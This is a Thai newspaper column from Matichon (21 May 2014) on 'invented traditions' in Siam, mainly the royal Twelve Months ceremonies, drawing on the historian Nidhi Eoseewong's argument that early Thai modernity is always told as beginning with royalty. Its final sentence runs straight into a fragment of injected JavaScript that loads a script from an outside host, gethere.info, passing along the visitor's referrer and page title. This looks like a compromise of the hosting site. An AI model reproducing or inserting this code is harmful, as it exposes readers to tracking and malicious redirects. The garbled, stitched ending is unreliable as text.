มติชนรายวัน ฉบับประจำวันพุธที่ 21 พฤษภาคม 2557

 

เริ่มต้นที่เจ้า

           บิดาแห่งอะไรต่อมิอะไรในไทย ต้องเป็นเจ้าทั้งนั้น—ทำไม?

           ต้นคิดเรื่องบิดาผู้ให้กำเนิดมาจากฝรั่งน่ะใครๆก็รู้ แต่ทำไมต้องเป็นเจ้า? ตรงนี้แหละที่ไม่รู้

           โดยเฉพาะผมเองไม่เคยรู้ พยายามหาคำอธิบายก็หาไม่ได้

           เพิ่งพบในบทความเรื่องประเพณีประดิษฐ์ในสยาม-ไทย ของ นิธิ เอียวศรีวงศ์ (มติชนสุดสัปดาห์ ฉบับวันศุกร์ 16 พฤษภาคม 2557 หน้า 30) ความว่า

           “ความสืบเนื่องของสถาบันพระมหากษัตริย์ และความเป็นผู้นำความเปลี่ยนแปลงของสถาบันพระมหากษัตริย์ คือความพยายามสถาปนาความสัมพันธ์ใหม่ระหว่างรัฐใหม่ (คือรัฐสมบูรณาญาสิทธิราชย์) กับสังคมใหม่ (สังคมที่มีชาวนารายย่อยเป็นฐาน) – – – – –

           ดังนั้น ก่อนวันที่ 24 มิถุนายน 2475 ความสัมพันธ์ระหว่างรัฐสมบูรณาญาสิทธิราชย์และสังคมกลายเป็นแบบอย่างความสัมพันธ์ที่ประชาชนไทยคุ้นเคยที่สุด ซ้ำมองเป็น ‘ความปรกติ’ อีกด้วย

           (จนถึงทุกวันนี้ เมื่อพูดถึงสิ่งใหม่นับตั้งแต่ไม้ขีดไฟ จักรยาน ภาพยนตร์ ยันเรือรบ นักประวัติศาสตร์ของเก่าก็จะต้องเริ่มเรื่องที่เจ้าเสมอ)”

           ข้อความในวงเล็บ ทำให้ผมถึงบางอ้อ—มันเป็นเช่นนั้นเอง

 

พระราชพิธี “ประดิษฐ์”

           ครูบาอาจารย์ในสถาบันการศึกษามักอ้างความเป็นไทยจากหนังสือพระราชนิพนธ์ ร.5 เรื่องพระราชพิธีสิบสองเดือน

           แต่ผมเห็นว่าอ่านยาก อ่านยุ่ง อ่านไม่รู้เรื่อง เพราะเป็นรายละเอียดปลีกย่อยที่ทำเฉพาะภายในราชสำนัก ซึ่งห่างไกลกับวิถีชีวิตของอาณาประชาราษฎรสามัญชนคนธรรมดาๆ จึงไม่ใช่ความเป็นไทยปกติ แต่แสดงความเป็นราชสำนักไทย

           ผมเคยพยายามทำความเข้าใจหนังสือเล่มนี้นานหลายปีมาก แต่ไม่ได้ผล ไม่เข้าใจ ไม่ทะลุ กระทั่งเพิ่งอ่านพบในบทความของ อ. นิธิ เอียวศรีวงศ์ จะยกอย่างย่อๆมาดังนี้

           “ประเทศไทยนับตั้งแต่ ร.5 เป็นต้นมา เผชิญความเปลี่ยนแปลงที่รวดเร็วและกว้างขวางมากอย่างที่ไม่เคยมีมาก่อน จึงเป็นธรรมดาที่เราจะได้เห็นการประดิษฐ์ ‘ประเพณี’ ต่างๆ มากมาย ทั้งที่ทำโดยผู้ถืออำนาจรัฐและโดยกลุ่มต่างๆ ในสังคม

           ‘ประเพณี’ เหล่านี้อาจออกมาในรูปของพระราชพิธีบ้าง, รัฐพิธีบ้าง, การแสดงบ้าง, กีฬาบ้าง, กระทำเป็นประจำในสถาบันการศึกษาบ้าง ฯลฯ เพียงแค่มองความเปลี่ยนแปลงของ ‘ประเพณี’ เหล่านี้ผ่านการประดิษฐ์ ก็ทำให้เห็นประวัติศาสตร์สังคมในส่วนที่ไม่ปรากฏในตำราประวัติศาสตร์ได้มากมาย”

           พระราชพิธี “ประดิษฐ์” สิบสองเดือน

           พระราชพิธีสิบสองเดือนมีความสำคัญอย่างไรในท่ามกลางความเปลี่ยนแปลงอย่างมโหฬารซึ่งเกิดขึ้นใน ร.5 ถึงขนาดที่ต้องทรงพระราชนิพนธ์อธิบายเรื่องนี้อย่างละเอียด ผู้ที่ได้อ่านพระราชนิพนธ์นี้ ก็คงจะเห็นได้ว่า มีการ “ประดิษฐ์” พระราชพิธีโบราณขึ้นเต็มไปหมด

           ไม่เฉพาะแต่การสร้างพระราชพิธีขึ้นใหม่โดยไม่มีแบบอย่างมาก่อนเท่านั้น แต่การทำให้การประกอบพิธีถูกต้องตรงตามประเพณีเก่าอย่างเคร่งครัด ตามความเข้าพระทัยของผู้ทรงพระราชนิพนธ์ก็เป็นการ “ประดิษฐ์” อีกอย่างหนึ่ง

           ทั้งหมดของ “ประเพณี” ของพระราชพิธีสิบสองเดือน ก็คือการสร้างความสืบเนื่องของสถาบันพระมหากษัตริย์ ในท่ามกลางความเปลี่ยนแปลงอย่างไพศาลของสถาบันพระมหากษัตริย์นั่นเอง

           แต่พระมหากษัตริย์ในระบอบสมบูรณาญาสิทธิราชย์ ซึ่งเป็นระบอบใหม่ที่ไม่เคยมีในเมืองไทยมาก่อน จะเน้นแต่ความสืบเนื่องไม่ได้ ต้องมี “ประเพณี” อีกหลายอย่างที่แสดงให้เห็นว่าพระมหากษัตริย์ทรงนำและกำกับให้สิ่งใหม่ที่ดีๆ และเหมาะสมได้หลั่งไหลเข้ามา

           ดังนั้น จึงเสด็จไปเป็นประธานในการเปิดโรงเรียนแบบใหม่, สร้างทางรถไฟ, สร้างโรงเรียนทหาร, สร้างโรงพยาบาล, ฯลฯ – – – – –

           เครื่องแบบแยกคนออกจากกัน

           “ในขณะเดียวกันก็มี ‘ประเพณี’ การแต่งกาย ที่แตกต่างกันอย่างสุดขั้วระหว่างชนชั้นปกครองและประชาชน

           รวมไปถึงเครื่องแบบทหารและข้าราชการพลเรือน แยกคนเหล่านี้ออกจากคนอื่นที่เป็นข้าราษฎรอย่างชัดเจน”   

           คำอธิบายแบบนี้ ผมยังไม่เคยอ่านจากที่อื่น และไม่เคยได้ยินการทักท้วงถกเถียงในมหาวิทยาลัย มีแต่ท่องกันระงมไปหมดว่า“ทรงพระปรีชาสามารถ”s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;